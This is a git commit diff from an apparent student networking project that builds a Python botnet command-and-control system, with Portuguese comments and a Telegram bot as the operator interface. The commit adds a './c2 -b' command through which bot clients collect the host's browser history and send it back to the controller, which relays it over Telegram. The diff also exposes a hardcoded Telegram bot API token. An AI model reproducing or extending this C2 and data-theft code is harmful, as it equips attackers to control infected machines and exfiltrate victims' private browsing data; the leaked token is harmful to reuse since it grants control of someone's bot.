Week 17, Update 02
This commit is contained in:
parent
b76b67c50f
commit
c541711f59
|
@ -20,7 +20,7 @@
|
|||
|
||||
# Importando bibliotecas
|
||||
from constantes import *
|
||||
import socket, time
|
||||
import funcoes, socket, time
|
||||
|
||||
# Função para parar o cliente
|
||||
def parar_cliente():
|
||||
|
@ -62,6 +62,8 @@ def realizar_conexao():
|
|||
# Analisando mensagem do servidor e preparando resposta
|
||||
if (mensagem_recebida == "alive?"):
|
||||
mensagem_retorno = "alive!".encode(CHARSET)
|
||||
elif ("./c2 -b" in mensagem_recebida):
|
||||
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
|
||||
elif ("./c2 -q" in mensagem_recebida):
|
||||
mensagem_retorno = f"Encerrando cliente em {TIMEOUT} segundos...".encode(CHARSET)
|
||||
parar_cliente()
|
||||
|
|
|
@ -18,8 +18,17 @@
|
|||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
# Armazenando informações de socket do servidor, tempo entre
|
||||
# operações, codificação de caracteres e opções do bot
|
||||
# Importando bibliotecas
|
||||
import os
|
||||
|
||||
# Armazenando caminho completo do diretório desse programa para
|
||||
# funções que leem ou escrevem arquivos, token do bot
|
||||
# (@progredes_c2_bot) e endereço da API do Telegram, informações
|
||||
# de socket do servidor, tempo entre operações, codificação de
|
||||
# caracteres e opções do bot
|
||||
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
|
||||
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
|
||||
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
|
||||
SOCKET_SERVIDOR = ("localhost", 50000)
|
||||
TIMEOUT = 10
|
||||
TAMANHO_BUFFER = 512
|
||||
|
|
|
@ -19,11 +19,8 @@
|
|||
#
|
||||
|
||||
# Importando bibliotecas
|
||||
import os, socket
|
||||
|
||||
# Armazenando caminho completo do diretório desse programa para
|
||||
# funções que leem ou escrevem arquivos
|
||||
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
|
||||
from constantes import *
|
||||
import os, socket, json, browser_history
|
||||
|
||||
# Função para remover um arquivo no diretório local do programa
|
||||
def remover_arquivo(nome_arquivo: str):
|
||||
|
@ -61,3 +58,13 @@ def ehinteiro(numero: str):
|
|||
|
||||
# Retorna False, casoa string não seja um número inteiro
|
||||
return False
|
||||
|
||||
# Função para retornar o histórico de navegação de um cliente
|
||||
def obter_historico():
|
||||
historico = json.loads(browser_history.get_history().to_json())["history"]
|
||||
|
||||
retorno = ''
|
||||
for index in historico:
|
||||
retorno += index["URL"] + '\n'
|
||||
|
||||
return retorno
|
||||
|
|
|
@ -20,12 +20,7 @@
|
|||
|
||||
# Importando bibliotecas
|
||||
from constantes import *
|
||||
import funcoes, requests
|
||||
|
||||
# Armazenando token do bot (@progredes_c2_bot) e endereço da API
|
||||
# do Telegram
|
||||
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
|
||||
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
|
||||
import funcoes, requests, time
|
||||
|
||||
# Função para salvar a última atualização
|
||||
def salvar_update_id(update_id: int):
|
||||
|
@ -84,11 +79,13 @@ def obter_atualizacoes(latest_update_id: int):
|
|||
|
||||
# Função para responder mensagem
|
||||
def responder_mensagem(retorno: dict):
|
||||
if (retorno["text"] == ''):
|
||||
mensagem = retorno["text"]
|
||||
|
||||
if (mensagem == ''):
|
||||
retorno["text"] = f"""Comando desconhecido ou incorreto!
|
||||
|
||||
Digite `./c2 -h` para obter a lista de comandos válidos"""
|
||||
elif (retorno["text"] == "./c2 -h"):
|
||||
elif (mensagem == "./c2 -h"):
|
||||
retorno["text"] = f"""Uso: `./c2 [OPÇÃO] [ARGUMENTO]...`
|
||||
Comando e Controle (C2) da _botnet_ do Projeto de ProgRedes 2023.2.
|
||||
|
||||
|
@ -112,5 +109,14 @@ Opções:
|
|||
Exemplos:
|
||||
` ./c2 -h ` Pede informações do C2"""
|
||||
|
||||
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
|
||||
if (len(mensagem) < 2048):
|
||||
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
|
||||
return
|
||||
|
||||
while (len(mensagem) > 0):
|
||||
retorno["text"] = f"```text\n{mensagem[:2048]}```"
|
||||
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
|
||||
mensagem = mensagem[2048:]
|
||||
time.sleep(3)
|
||||
|
||||
return
|
||||
|
|
|
@ -67,15 +67,11 @@ def cliente_online(index: int):
|
|||
try:
|
||||
resposta = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
clientes[index][1].release()
|
||||
print(f"Cliente {clientes[index][0][1]} desconectado!")
|
||||
clientes[index][0][0].close()
|
||||
clientes.pop(index)
|
||||
return index
|
||||
|
||||
# Destravando as transmissões do cliente
|
||||
clientes[index][1].release()
|
||||
|
||||
# Se o tamanho da resposta do cliente for menor que 1, finaliza-se
|
||||
# o socket do cliente, remove-se o mesmo da lista de clientes e
|
||||
# retorna-se o índice
|
||||
|
@ -85,6 +81,9 @@ def cliente_online(index: int):
|
|||
clientes.pop(index)
|
||||
return index
|
||||
|
||||
# Destravando as transmissões do cliente
|
||||
clientes[index][1].release()
|
||||
|
||||
# Se a resposta do "ping" estiver incorreta, destrava-se as
|
||||
# transmissões para o cliente e retorna-se o índice
|
||||
if (resposta != "alive!"):
|
||||
|
@ -181,6 +180,26 @@ def informar_desconectado(index: int, retorno: dict):
|
|||
|
||||
return
|
||||
|
||||
# Função para receber dados de um cliente
|
||||
def receber_dados(index):
|
||||
# Recebendo dados até que o buffer recebido seja menor que o
|
||||
# tamanho máximo de buffer
|
||||
retorno = ''
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
raise Exception()
|
||||
retorno += dados
|
||||
|
||||
while (not len(dados) < TAMANHO_BUFFER):
|
||||
try:
|
||||
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
except:
|
||||
raise Exception()
|
||||
retorno += dados
|
||||
|
||||
return retorno
|
||||
|
||||
def main():
|
||||
# Armazenando, globalmente, variável de continuidade da execução
|
||||
# do servidor e lista de clientes
|
||||
|
@ -302,7 +321,6 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
|
|||
try:
|
||||
clientes[index][0][0].send(message_text.encode(CHARSET))
|
||||
except:
|
||||
clientes[index][1].release()
|
||||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
||||
|
@ -310,22 +328,20 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
|
|||
# destrava-se as transmissões para o mesmo e informa-se desconexão
|
||||
# do mesmo
|
||||
try:
|
||||
retorno["text"] = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
retorno["text"] = receber_dados(index)
|
||||
except:
|
||||
clientes[index][1].release()
|
||||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
||||
# Destravando as transmissões do cliente
|
||||
clientes[index][1].release()
|
||||
|
||||
# Se o tamanho da resposta for menor que 1, informa-se desconexão
|
||||
# do cliente
|
||||
if (len(retorno["text"]) < 1):
|
||||
informar_desconectado(index, retorno)
|
||||
continue
|
||||
|
||||
# Respondendo mensagem com resposta do cliente
|
||||
# Destravando as transmissões do cliente e respondendo mensagem
|
||||
# com resposta do cliente
|
||||
clientes[index][1].release()
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
|
||||
return
|
||||
|
|
Loading…
Reference in New Issue